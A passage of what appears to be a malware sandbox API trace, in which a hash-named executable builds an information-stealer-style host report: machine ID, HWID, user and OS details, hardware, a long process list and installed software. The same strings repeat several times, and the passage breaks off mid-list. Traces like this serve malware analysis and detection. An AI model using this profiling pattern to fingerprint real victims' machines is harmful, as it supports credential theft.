[9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [", lpString2="10.0.40219" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219"
[0054.980] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe 